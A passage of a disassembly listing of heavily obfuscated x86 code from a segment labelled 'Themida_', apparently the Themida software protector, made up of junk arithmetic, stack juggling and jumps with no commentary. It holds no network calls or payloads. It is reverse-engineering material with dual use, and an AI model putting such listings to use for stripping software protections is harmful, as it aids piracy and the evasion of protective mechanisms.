		add	ebp, 0DA995BF2h
		xor	ebx, ebp
		jmp	loc_5AE2D7
; ---------------------------------------------------------------------------


loc_5A18C9:				; CODE XREF: Themida_:00598BAEj
		pop	esp
		jmp	loc_5A03E9
; ---------------------------------------------------------------------------


loc_5A18CF:				; CODE XREF: Themida_:0059B09Fj
		add	dword ptr [esp+4], 1DCD7D40h
		jmp	loc_59F39C
; ---------------------------------------------------------------------------


loc_5A18DC:				; CODE XREF: Themida_:005A4F9Aj
		sub	ebx, edi
		pop	edi
		sub	ebx, 3D1778FBh
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		push	small word ptr [eax]
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A18FC:				; CODE XREF: Themida_:005A367Fj
		add	edx, 7B7738E9h
		add	edx, ecx
		push	ecx
		jmp	loc_59B175
; ---------------------------------------------------------------------------


loc_5A190A:				; CODE XREF: Themida_:005A01F6j
		neg	dl
		dec	dl
		xor	dl, 0D9h
		xor	bl, dl
		pop	edx
		xor	al, bl
		mov	bx, [esp]
		add	esp, 2
		push	ax
		mov	ah, 8Ah
		sub	bl, ah
		mov	ax, [esp]
		add	esp, 2
		add	bl, 4Fh
		add	bl, 30h
		sub	bl, al
		sub	bl, 30h
		push	dx
		mov	dh, 4Fh
		push	eax
		push	ecx
		jmp	loc_5A4EAD
; ---------------------------------------------------------------------------


loc_5A1943:				; CODE XREF: Themida_:005A6AA9j
					; Themida_:005AF627j
		sub	ecx, 67A63DD1h
		or	ecx, 6A8A49C8h
		jmp	loc_5A88D0
; ---------------------------------------------------------------------------


loc_5A1954:				; CODE XREF: Themida_:005997BBj
		add	bl, 0BAh
		pop	eax
		jmp	loc_5AA374
; ---------------------------------------------------------------------------


loc_5A195D:				; CODE XREF: Themida_:005A4A56j
		push	cx
		mov	ch, dl
		dec	ch
		jmp	loc_5A0432
; ---------------------------------------------------------------------------


loc_5A1968:				; CODE XREF: Themida_:005AEEC8j
		sub	eax, edx
		pop	edx
		sub	eax, ebp
		add	eax, 11FF42C5h
		pop	ebp
		add	eax, 70511C9Eh
		push	4C39h
		mov	[esp], ecx
		mov	ecx, esp
		push	0B4Dh
		mov	[esp], ebx
		jmp	loc_5A0AEE
; ---------------------------------------------------------------------------


loc_5A198F:				; CODE XREF: Themida_:005AC629j
		sub	edi, ebx
		pop	ebx
		add	ebx, edi
		jmp	loc_5AA9D0
; ---------------------------------------------------------------------------


loc_5A1999:				; CODE XREF: Themida_:005A513Cj
		pop	dx
		jmp	loc_5AEE0D
; ---------------------------------------------------------------------------


loc_5A19A0:				; CODE XREF: Themida_:005A3854j
		sub	eax, 23352D6Bh
		add	eax, esi
		add	eax, 23352D6Bh
		jmp	loc_59E196
; ---------------------------------------------------------------------------


loc_5A19B1:				; CODE XREF: Themida_:005ABD0Ej
		jle	loc_599122
		not	ebx
		add	ebx, 743D4F9Ah
		mov	ecx, ebx
		jmp	loc_5A2729
; ---------------------------------------------------------------------------


loc_5A19C6:				; CODE XREF: Themida_:005ADDC8j
		add	cl, 2Dh
		sub	cl, dl
		sub	cl, 2Dh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_599633
; ---------------------------------------------------------------------------


loc_5A19DC:				; CODE XREF: Themida_:005A7937j
		pop	edx
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_59CF98
; ---------------------------------------------------------------------------


loc_5A19F4:				; CODE XREF: Themida_:0059CAFCj
		xor	edi, 23256592h
		mov	eax, [esp]
		add	esp, 4
		shl	edi, 5
		add	edi, 0A3F88C37h
		sub	eax, 4F1F359Eh
		add	eax, edi
		add	eax, 4F1F359Eh
		pop	edi
		mov	ecx, [esp]
		add	esp, 4
		push	1656h
		mov	[esp], ebp
		push	ebx
		push	44BC5F57h
		pop	ebx
		inc	ebx
		jge	loc_5AEED9
		xor	ebx, 62637CCCh
		push	ebx
		jmp	loc_5A5578
; ---------------------------------------------------------------------------
		push	esp


loc_5A1A42:				; CODE XREF: Themida_:005A0CBDj
		xchg	edi, esi
		jmp	loc_5AAF97
; ---------------------------------------------------------------------------


loc_5A1A49:				; CODE XREF: Themida_:005AEA70j
		sub	eax, 1E9F386Dh
		pop	ecx
		push	22E2h
		mov	[esp], ebx
		jmp	loc_59FEE3
; ---------------------------------------------------------------------------


loc_5A1A5C:				; CODE XREF: Themida_:005A2FDDj
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A1A61:				; CODE XREF: Themida_:005AED55j
		add	edi, 89029126h
		jmp	loc_59FC7D
; ---------------------------------------------------------------------------


loc_5A1A6C:				; CODE XREF: Themida_:0059B578j
					; Themida_:0059F074j
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	5CA3h
		mov	[esp], eax
		mov	eax, 4
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, 12EC0DF6h
		neg	ebp
		xor	ebp, 700D6293h
		jmp	loc_5AB3E4
; ---------------------------------------------------------------------------


loc_5A1AA9:				; CODE XREF: Themida_:005A9E1Fj
		pop	ecx
		xor	ebx, 0C3A1B16h
		jmp	loc_59C394
; ---------------------------------------------------------------------------


loc_5A1AB5:				; CODE XREF: Themida_:00599007j
		mov	[esp], edi
		push	esi
		push	ebx
		jmp	loc_5A5A63
; ---------------------------------------------------------------------------


loc_5A1ABF:				; CODE XREF: Themida_:005AD163j
		pop	ebx
		neg	ebx
		jnb	loc_5AFD09
		jmp	loc_5AC1EB
; ---------------------------------------------------------------------------


loc_5A1ACD:				; CODE XREF: Themida_:005A3E51j
		mov	eax, 4A7D2403h
		or	ebp, eax
		pop	eax
		push	ebx
		mov	ebx, 59DE016Ch
		xor	ebx, 44E01228h
		shr	ebx, 4
		jmp	loc_59D0A3
; ---------------------------------------------------------------------------


loc_5A1AE9:				; CODE XREF: Themida_:0059B170j
		mov	ch, 4Ch
		xor	al, ch
		jmp	loc_5AC4B3
; ---------------------------------------------------------------------------


loc_5A1AF2:				; CODE XREF: Themida_:loc_59FCD5j
					; Themida_:005A373Cj
		add	edi, 39C09D25h
		sub	esp, 4
		mov	[esp], edi
		xor	dword ptr [esp], 248E675Ah
		jmp	loc_59AAC5
; ---------------------------------------------------------------------------


loc_5A1B0A:				; DATA XREF: Themida_:005986F4o
		push	eax
		push	esi
		push	3C64h
		mov	[esp], edx
		mov	edx, 68E6582Fh
		jmp	loc_5ADB04
; ---------------------------------------------------------------------------


loc_5A1B1E:				; CODE XREF: Themida_:0059AAACj
					; Themida_:005A5E3Fj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5A75DA
; ---------------------------------------------------------------------------


loc_5A1B2C:				; CODE XREF: Themida_:005A4C35j
		mov	ecx, ebp
		pop	ebp
		sub	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_5A2153
; ---------------------------------------------------------------------------


loc_5A1B43:				; CODE XREF: Themida_:005A9EF7j
		pop	edx
		add	edx, ebx
		pop	ebx
		add	ebx, edx
		jmp	loc_5ABAE8
; ---------------------------------------------------------------------------


loc_5A1B4E:				; CODE XREF: Themida_:005A21CDj
		push	dword ptr [esp]
		jmp	loc_5A16B0
; ---------------------------------------------------------------------------


loc_5A1B56:				; CODE XREF: Themida_:005AEB58j
		pop	edx
		push	ecx
		push	esp
		pop	ecx
		push	esi
		push	ebx
		mov	ebx, 4
		push	ecx
		mov	ecx, ebx
		mov	esi, ecx
		jmp	loc_5A3B26
; ---------------------------------------------------------------------------


loc_5A1B6B:				; CODE XREF: Themida_:0059D7C7j
		xor	ebx, [esp]
		mov	esp, [esp]
		movsx	ecx, al
		jmp	loc_59C08D
; ---------------------------------------------------------------------------


loc_5A1B79:				; CODE XREF: Themida_:005ABAA4j
		or	ebx, 2B3D7309h
		jmp	loc_59AA87
; ---------------------------------------------------------------------------


loc_5A1B84:				; CODE XREF: Themida_:005AF938j
		sub	bl, 43h
		and	dh, bl
		mov	bx, [esp]
		add	esp, 2
		jmp	loc_59E5C9
; ---------------------------------------------------------------------------


loc_5A1B95:				; CODE XREF: Themida_:005A6FC3j
		mov	[esp], ebp
		mov	ebp, 4
		add	ecx, ebp
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_5AD974
; ---------------------------------------------------------------------------


loc_5A1BAA:				; CODE XREF: Themida_:005ACDE0j
		mov	ebx, 30313146h
		shr	ebx, 3
		or	ebx, 5A5222E4h
		inc	ebx
		add	ebx, 0C67515CCh
		add	edx, ebx
		pop	ebx
		jmp	loc_5AF8BE
; ---------------------------------------------------------------------------


loc_5A1BC7:				; CODE XREF: Themida_:005ACF60j
		jmp	loc_5A5678
; ---------------------------------------------------------------------------


loc_5A1BCC:				; CODE XREF: Themida_:005A0A53j
		push	esi
		push	edi
		push	5C890167h
		pop	edi
		and	edi, 6906102Dh
		jge	loc_5AB5E7
		shl	edi, 2
		sub	edi, 1724F75Ch
		jmp	loc_5A5640
; ---------------------------------------------------------------------------


loc_5A1BEE:				; CODE XREF: Themida_:0059E549j
		mov	esp, [esp]
		jmp	loc_59B66B
; ---------------------------------------------------------------------------


loc_5A1BF6:				; CODE XREF: Themida_:00599947j
		sub	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	ecx, ebx
		push	136Ah
		jmp	loc_5A6A8B
; ---------------------------------------------------------------------------


loc_5A1C0B:				; CODE XREF: Themida_:005A8BD2j
		jmp	loc_5A9A1E
; ---------------------------------------------------------------------------


loc_5A1C10:				; CODE XREF: Themida_:0059BDC7j
		mov	dh, 21h
		add	bh, dh
		pop	dx
		mov	al, bh
		pop	ebx
		add	ch, 0F9h
		jmp	loc_5A3E2A
; ---------------------------------------------------------------------------


loc_5A1C21:				; CODE XREF: Themida_:005AE2D8j
		sub	esp, 4
		jmp	loc_598FE8
; ---------------------------------------------------------------------------


loc_5A1C2C:				; CODE XREF: Themida_:005A126Dj
		push	ebx
		mov	bh, 90h
		mov	cl, bh
		pop	ebx
		sub	esp, 4
		mov	[esp], eax
		mov	al, 93h
		mov	dl, 23h
		xor	dl, al
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		sub	dl, cl
		pop	ecx
		add	dl, ch
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	al, 0C9h
		sub	al, dl
		jmp	loc_5A9756
; ---------------------------------------------------------------------------


loc_5A1C6E:				; CODE XREF: Themida_:005A6600j
		push	269Ch
		jmp	loc_59F8A6
; ---------------------------------------------------------------------------


loc_5A1C78:				; CODE XREF: Themida_:005A5538j
		jns	loc_5A3E91
		jmp	loc_5A8C22
; ---------------------------------------------------------------------------
		jmp	loc_5A801F
; ---------------------------------------------------------------------------


loc_5A1C88:				; CODE XREF: Themida_:0059EFA2j
					; Themida_:loc_5AD9A0j
		add	esi, eax
		sub	esi, 72D36D82h
		pop	eax
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5A84F9
; ---------------------------------------------------------------------------


loc_5A1CA2:				; CODE XREF: Themida_:00598E0Cj
		sub	ch, 0D7h
		jmp	loc_5A785A
; ---------------------------------------------------------------------------


loc_5A1CAA:				; CODE XREF: Themida_:00599D5Fj
		push	edx
		mov	dl, 10h
		dec	dl
		xor	dl, 23h
		inc	dl
		and	dl, 14h
		sub	dl, 6Ch
		add	al, dl
		jmp	loc_5A9117
; ---------------------------------------------------------------------------


loc_5A1CC1:				; CODE XREF: Themida_:005ACD37j
		push	ebp
		push	small 920h
		mov	bp, [esp]
		add	esp, 2
		push	ax
		mov	ax, 3043h
		xor	bp, ax
		jmp	loc_5A47F1
; ---------------------------------------------------------------------------


loc_5A1CDB:				; CODE XREF: Themida_:loc_5AA0E7j
		or	eax, 220A4DF3h
		jnb	loc_59DE02
		xor	eax, 0E2ABFFF6h
		jmp	loc_5A8F01
; ---------------------------------------------------------------------------
		push	ebx


loc_5A1CF1:				; CODE XREF: Themida_:0059EE54j
		push	edi
		mov	edi, 5E1A5C3Bh
		or	edi, 78025DD3h
		not	edi
		inc	edi
		add	edi, 6C4964B5h
		and	edi, 21622C6Eh
		or	edi, 789B0F0Eh
		push	edx
		push	esi
		mov	esi, 4B066054h
		xor	esi, 46515C5Ah
		add	esi, 1
		sub	esi, 0CF25232Bh
		mov	edx, esi
		pop	esi
		xor	edx, 97851FB6h
		add	edi, edx
		pop	edx
		jmp	loc_5AB3BF
; ---------------------------------------------------------------------------


loc_5A1D39:				; CODE XREF: Themida_:005A43B9j
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		not	eax
		xchg	eax, [esp]
		push	dword ptr [esp]
		jmp	loc_59EDD8
; ---------------------------------------------------------------------------


loc_5A1D4F:				; CODE XREF: Themida_:005AD21Fj
		pop	edi
		add	edi, 4
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		push	6E6C23A6h
		mov	ebx, [esp]
		jmp	loc_5A8F17
; ---------------------------------------------------------------------------


loc_5A1D6A:				; CODE XREF: Themida_:0059A797j
		add	eax, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		sub	eax, edx
		pop	edx
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		jmp	loc_5AC6B0
; ---------------------------------------------------------------------------


loc_5A1D8E:				; CODE XREF: Themida_:0059ACF7j
		add	eax, 693F2226h
		jmp	loc_598EE6
; ---------------------------------------------------------------------------


loc_5A1D98:				; CODE XREF: Themida_:005A34C0j
		add	edx, 62675FC9h
		mov	ebx, edx
		pop	edx
		push	edx
		jmp	loc_5A793C
; ---------------------------------------------------------------------------


loc_5A1DA7:				; CODE XREF: Themida_:0059E166j
		mov	[esp], edx
		push	eax
		push	ecx
		push	edi
		jmp	loc_5A00BF
; ---------------------------------------------------------------------------


loc_5A1DB2:				; CODE XREF: Themida_:005A24A3j
		pop	eax
		jmp	loc_5AD23A
; ---------------------------------------------------------------------------


loc_5A1DB8:				; CODE XREF: Themida_:00599C8Dj
		push	cx
		pushf
		jmp	loc_5AC8B4
; ---------------------------------------------------------------------------


loc_5A1DC0:				; CODE XREF: Themida_:0059F8E3j
		sub	edi, 6AAC3485h
		pop	esi
		add	edi, 107C2D42h
		jmp	loc_59C7A3
; ---------------------------------------------------------------------------


loc_5A1DD2:				; CODE XREF: Themida_:005A42F9j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	eax
		push	edi
		mov	edi, 13744B2Bh
		mov	eax, 2C00BDDEh
		sub	eax, edi
		pop	edi
		sub	ebx, 50B803E4h
		sub	ebx, eax
		add	ebx, 50B803E4h
		pop	eax
		pop	esi
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A1DFD:				; CODE XREF: Themida_:loc_5A6716j
		or	ebx, 78A4342Dh
		add	ebx, 0F42626C9h
		jmp	loc_5A3BD7
; ---------------------------------------------------------------------------


loc_5A1E0E:				; CODE XREF: Themida_:005AE518j
		push	edx
		mov	edx, 2FD30D84h
		mov	ecx, edx
		pop	edx
		jmp	loc_59E226
; ---------------------------------------------------------------------------


loc_5A1E1C:				; CODE XREF: Themida_:005A36D2j
					; Themida_:005A5DF8j
		pop	esi
		push	2B39h
		mov	[esp], ebp
		mov	ebp, 63913262h
		add	ebp, 55FF10CFh
		push	ebp
		not	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		shr	ebp, 1
		or	ebp, 13072215h
		inc	ebp
		push	edi
		mov	edi, 0CA55F30h
		shr	edi, 5
		jmp	loc_5AD875
; ---------------------------------------------------------------------------


loc_5A1E51:				; CODE XREF: Themida_:005A0860j
		push	edx
		mov	edx, esp
		push	6790h
		mov	[esp], edi
		mov	edi, 4
		add	edx, edi
		mov	edi, [esp]
		jmp	loc_59BAED
; ---------------------------------------------------------------------------


loc_5A1E6B:				; CODE XREF: Themida_:00599A71j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	bl, 0C9h
		sub	bl, 9Ah
		jmp	loc_59FE8F
; ---------------------------------------------------------------------------


loc_5A1E80:				; CODE XREF: Themida_:0059CFB2j
		mov	ah, dh
		push	ebx
		mov	bl, ah
		mov	ch, bl
		pop	ebx
		jmp	loc_5AE3EB
; ---------------------------------------------------------------------------


loc_5A1E8D:				; CODE XREF: Themida_:005A62F5j
		mov	eax, 47914160h
		add	eax, 0F7FD8841h
		add	ebx, eax
		pop	eax
		jmp	loc_5A8223
; ---------------------------------------------------------------------------


loc_5A1E9F:				; CODE XREF: Themida_:005AB34Ej
		jo	loc_5AF2AC
		inc	eax
		jns	loc_5A7A2A
		jmp	loc_5A69B9
; ---------------------------------------------------------------------------
		jmp	loc_5AB8E4
; ---------------------------------------------------------------------------


loc_5A1EB6:				; CODE XREF: Themida_:loc_5A00EDj
		shl	edx, 8
		jz	loc_59C463
		add	edx, 43BAEE5Ah
		jmp	loc_59A2AA
; ---------------------------------------------------------------------------


loc_5A1ECA:				; CODE XREF: Themida_:0059B5DAj
					; Themida_:0059BE4Ej
		push	147Fh
		mov	[esp], eax
		add	dword ptr [esp], 0FFFFFFFFh
		jmp	loc_5A9F3F
; ---------------------------------------------------------------------------


loc_5A1EDB:				; CODE XREF: Themida_:0059A014j
					; Themida_:0059E91Aj
		or	esi, edx
		pop	edx
		shr	esi, 4
		shl	esi, 1
		push	esi
		not	dword ptr [esp]
		pop	esi
		xor	esi, 0DD201059h
		not	esi
		sub	esp, 4
		mov	[esp], edi
		push	0F8629F7h
		pop	edi
		jmp	loc_5990B1
; ---------------------------------------------------------------------------


loc_5A1F04:				; CODE XREF: Themida_:0059A90Aj
		push	esp
		jmp	loc_5A8D2C
; ---------------------------------------------------------------------------


loc_5A1F0A:				; CODE XREF: Themida_:0059F230j
		xor	ebx, [esp]
		jmp	loc_5A64C3
; ---------------------------------------------------------------------------


loc_5A1F12:				; CODE XREF: Themida_:0059FFE8j
					; Themida_:005AF3ADj
		not	edi
		xchg	eax, edi
		jmp	loc_5A4BF6
; ---------------------------------------------------------------------------


loc_5A1F1A:				; CODE XREF: Themida_:005A844Bj
		mov	eax, esi
		pop	esi
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_59BF53
; ---------------------------------------------------------------------------


loc_5A1F2B:				; CODE XREF: Themida_:005A584Fj
		add	esi, eax
		jmp	loc_5ABCBD
; ---------------------------------------------------------------------------


loc_5A1F32:				; CODE XREF: Themida_:0059A7DEj
		add	esp, 4
		sub	esi, 18B9000Ah
		jmp	loc_59A88C
; ---------------------------------------------------------------------------


loc_5A1F43:				; CODE XREF: Themida_:0059A594j
		mov	esi, [esp]
		jmp	loc_59DB94
; ---------------------------------------------------------------------------


loc_5A1F4B:				; CODE XREF: Themida_:005A8814j
		pop	ecx
		add	eax, 370C12ACh
		jmp	loc_5A29B3
; ---------------------------------------------------------------------------


loc_5A1F56:				; CODE XREF: Themida_:005A8FD0j
		mov	dh, 59h
		add	ah, dh
		mov	edx, [esp]
		add	esp, 4
		xor	cl, ah
		pop	eax
		jmp	loc_599787
; ---------------------------------------------------------------------------


loc_5A1F68:				; CODE XREF: Themida_:005AF3DAj
		pop	edx
		add	eax, esi
		jmp	loc_59CA9A
; ---------------------------------------------------------------------------


loc_5A1F70:				; CODE XREF: Themida_:005AFA19j
		sub	ebp, 499D4BAEh
		jg	loc_5A1744
		push	ecx
		mov	ecx, 6C95F6Bh
		add	ecx, 0A5C785EEh
		jmp	loc_5A8F51
; ---------------------------------------------------------------------------


loc_5A1F8D:				; CODE XREF: Themida_:005AF4B3j
		add	esi, 2
		jmp	loc_5A7993
; ---------------------------------------------------------------------------


loc_5A1F95:				; CODE XREF: Themida_:005A4BFFj
		mov	ebx, [esp]
		add	esp, 4
		push	7C49h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_5A14CB
; ---------------------------------------------------------------------------


loc_5A1FCA:				; CODE XREF: Themida_:005A895Fj
		and	dh, 0A5h
		jmp	loc_5A25DC
; ---------------------------------------------------------------------------


loc_5A1FD2:				; CODE XREF: Themida_:00599DEAj
		push	edi
		push	edx
		push	466B3AF4h
		pop	edx
		add	edx, 3C883F85h
		jge	loc_5A690D
		jmp	loc_5AFD9E
; ---------------------------------------------------------------------------
		push	esp
		jmp	loc_5AEB05
; ---------------------------------------------------------------------------
		db 89h,	0C0h
; ---------------------------------------------------------------------------


loc_5A1FF3:				; CODE XREF: Themida_:005A8C1Dj
		mov	eax, ebp
		pop	ebp
		mov	ebp, eax
		jmp	loc_5A94D3
; ---------------------------------------------------------------------------


loc_5A1FFD:				; CODE XREF: Themida_:0059C42Bj
		mov	[esp], esi
		jmp	loc_5AA0D8
; ---------------------------------------------------------------------------


loc_5A2005:				; CODE XREF: Themida_:0059A659j
		add	ebx, eax
		jmp	loc_59C32C
; ---------------------------------------------------------------------------


loc_5A200C:				; CODE XREF: Themida_:005A813Fj
		pop	edi
		add	edx, 0FFFFFFFFh
		jmp	loc_59E76A
; ---------------------------------------------------------------------------


loc_5A2018:				; CODE XREF: Themida_:005A1750j
		jmp	loc_5AE2C3
; ---------------------------------------------------------------------------


loc_5A201D:				; CODE XREF: Themida_:0059FA11j
		add	ebx, 1FE85A32h
		pop	small word ptr [eax]
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A202B:				; CODE XREF: Themida_:005AF4D6j
		dec	eax
		or	eax, 41C43B51h
		shr	eax, 5
		add	eax, 447D5B63h
		jmp	loc_5A2C2E
; ---------------------------------------------------------------------------


loc_5A203E:				; CODE XREF: Themida_:005A4D58j
		mov	esp, [esp]
		xchg	eax, [esp]
		jmp	loc_59F32F
; ---------------------------------------------------------------------------


loc_5A2049:				; CODE XREF: Themida_:0059EEE8j
		push	ebx
		mov	ebx, 71B750C0h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5AB55F
; ---------------------------------------------------------------------------


loc_5A205D:				; CODE XREF: Themida_:005A69F6j
		mov	esi, 4B0B3C81h
		sub	esi, 0FFFFFFFFh
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 6CB07193h
		jmp	loc_599297
; ---------------------------------------------------------------------------


loc_5A207B:				; CODE XREF: Themida_:0059A4AAj
		pop	esi
		jmp	loc_5AEA9E
; ---------------------------------------------------------------------------


loc_5A2081:				; CODE XREF: Themida_:0059FD78j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_59AF69
; ---------------------------------------------------------------------------


loc_5A2094:				; CODE XREF: Themida_:005AE9B0j
		sub	esi, 7E35AC21h
		sub	ecx, 561604B7h
		add	ecx, esi
		add	ecx, 561604B7h
		mov	esi, [esp]
		jmp	loc_59F594
; ---------------------------------------------------------------------------


loc_5A20B0:				; CODE XREF: Themida_:0059F397j
		sub	ecx, 0C2082141h
		jmp	loc_5AF72A
; ---------------------------------------------------------------------------


loc_5A20BB:				; CODE XREF: Themida_:005AD870j
		mov	ecx, 5AE34511h
		shr	ecx, 2
		shl	ecx, 8
		xchg	esi, ecx
		jmp	loc_59F04D
; ---------------------------------------------------------------------------


loc_5A20CD:				; CODE XREF: Themida_:005ADD07j
		sub	ebp, edx
		push	eax
		mov	eax, 44593B19h
		shl	eax, 6
		and	eax, 0DD25D3Eh
		inc	eax
		shr	eax, 8
		shl	eax, 1
		jmp	loc_5AC6A4
; ---------------------------------------------------------------------------


loc_5A20E8:				; CODE XREF: Themida_:0059B012j
		jnz	loc_5A47E4
		xor	edx, 65B5EAEFh
		xor	esi, edx
		jmp	loc_5A1550
; ---------------------------------------------------------------------------


loc_5A20FB:				; DATA XREF: Themida_:005987A8o
		push	dword ptr [esp]
		pop	edx
		push	680Ah
		mov	[esp], ebx
		push	121h
		sub	esp, 4
		push	esp
		jmp	loc_59EF33
; ---------------------------------------------------------------------------


loc_5A2118:				; CODE XREF: Themida_:005AD7EAj
		mov	cl, ah
		pop	eax
		mov	ebx, [esp]
		push	ebp
		jmp	loc_5A10F5
; ---------------------------------------------------------------------------


loc_5A2124:				; CODE XREF: Themida_:0059DDC9j
		add	ecx, 6C631F2Ch
		add	ecx, edi
		sub	ecx, 6C631F2Ch
		mov	edi, [esp]
		push	ecx
		jmp	loc_59C351
; ---------------------------------------------------------------------------


loc_5A213B:				; CODE XREF: Themida_:005ACA2Dj
		xchg	esi, edi
		not	esi
		xchg	esi, edi
		push	esi
		jmp	loc_5A9345
; ---------------------------------------------------------------------------


loc_5A2147:				; CODE XREF: Themida_:0059C1A2j
					; Themida_:loc_5A6F66j
		push	ecx
		push	27318A1h
		pop	ecx
		jmp	loc_5A80BE
; ---------------------------------------------------------------------------


loc_5A2153:				; CODE XREF: Themida_:005A1B3Ej
		xor	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esp
		push	esi
		mov	esi, 4
		jmp	loc_59D3D0
; ---------------------------------------------------------------------------


loc_5A216B:				; CODE XREF: Themida_:005AAEE9j
		mov	ecx, 4C7447A6h
		add	ecx, 6404691Ch
		not	ecx
		neg	ecx
		jmp	loc_5A9094
; ---------------------------------------------------------------------------


loc_5A217F:				; CODE XREF: Themida_:005A5AB0j
		add	ebx, 12CFF3CEh
		or	ecx, ebx
		pop	ebx
		inc	ecx
		inc	ecx
		push	ebp
		mov	ebp, 0FDBC9E32h
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	ebx, ecx
		pop	ecx
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A21A0:				; CODE XREF: Themida_:005AE23Bj
		sub	eax, 49F667E5h
		jmp	loc_5A5640
; ---------------------------------------------------------------------------


loc_5A21AA:				; CODE XREF: Themida_:0059C8DAj
		pop	edi
		or	ebp, eax
		pop	eax
		jmp	loc_5A92D3
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_59EBB0
; ---------------------------------------------------------------------------


loc_5A21BC:				; CODE XREF: Themida_:005A4ACCj
		mov	[esp], edx
		jmp	loc_5A8C22
; ---------------------------------------------------------------------------


loc_5A21C4:				; CODE XREF: Themida_:005ADD62j
		pop	ebp
		add	dword ptr [esp+4], 27EA4C31h
		jmp	loc_5A1B4E
; ---------------------------------------------------------------------------


loc_5A21D2:				; CODE XREF: Themida_:005A90B9j
		mov	ebp, 79356937h
		xchg	edi, ebp
		inc	edi
		xchg	edi, ebp
		xor	ebp, 8FF2FB0h
		add	ebp, 8E35B97Ch
		jmp	loc_5A2937
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	ecx
		jmp	loc_5A8FDF
; ---------------------------------------------------------------------------


loc_5A2208:				; CODE XREF: Themida_:005AB9D2j
		xor	edi, 52DE3100h
		jg	loc_5A693B
		push	ecx
		mov	ecx, 4E77E6Eh
		jmp	loc_5A101F
; ---------------------------------------------------------------------------


loc_5A221F:				; CODE XREF: Themida_:0059F069j
		add	eax, 6C9912B4h
		jo	loc_5AF62C
		push	ebp
		jmp	loc_59FCAF
; ---------------------------------------------------------------------------


loc_5A2230:				; CODE XREF: Themida_:005AB0CDj
					; Themida_:005AE80Dj
		add	ebx, 0DA2FA878h
		jmp	loc_5A7C3F
; ---------------------------------------------------------------------------


loc_5A223B:				; CODE XREF: Themida_:005A09A9j
					; Themida_:005A8A3Bj
		mov	eax, edx
		mov	ebp, eax
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 886A8B89h
		mov	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, 6FB0B3Fh
		add	ebx, edi
		sub	ebx, 6FB0B3Fh
		pop	edi
		jmp	loc_59B351
; ---------------------------------------------------------------------------


loc_5A2270:				; CODE XREF: Themida_:005AF1F4j
		mov	ecx, [esp]
		add	esp, 4
		push	36CCh
		mov	[esp], eax
		push	esp
		jmp	loc_5A2B0F
; ---------------------------------------------------------------------------


loc_5A2284:				; CODE XREF: Themida_:0059B29Bj
		pop	edx
		add	eax, 16B87547h
		jmp	loc_59AA37
; ---------------------------------------------------------------------------


loc_5A228F:				; CODE XREF: Themida_:005A6505j
		add	esp, 4
		jmp	loc_5A15C9
; ---------------------------------------------------------------------------


loc_5A2297:				; CODE XREF: Themida_:0059DCE0j
		push	ecx
		mov	ecx, 3FF878B9h
		not	ecx
		jmp	loc_5A6D26
; ---------------------------------------------------------------------------


loc_5A22A4:				; CODE XREF: Themida_:0059FA94j
		mov	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		jmp	loc_5AE42D
; ---------------------------------------------------------------------------


loc_5A22B5:				; CODE XREF: Themida_:005AF5C0j
		mov	al, 0E5h
		jmp	loc_5ADAE5
; ---------------------------------------------------------------------------


loc_5A22BC:				; CODE XREF: Themida_:005A5AE8j
		pop	ebx
		add	edi, 0BC00F3D9h
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5AE980
; ---------------------------------------------------------------------------


loc_5A22CE:				; CODE XREF: Themida_:0059BD21j
		push	1959h
		mov	[esp], ebx
		mov	ebx, 719C7484h
		add	[esp+4], ebx
		pop	ebx
		push	dword ptr [esp]
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		push	ecx
		mov	ecx, 5A5014FAh
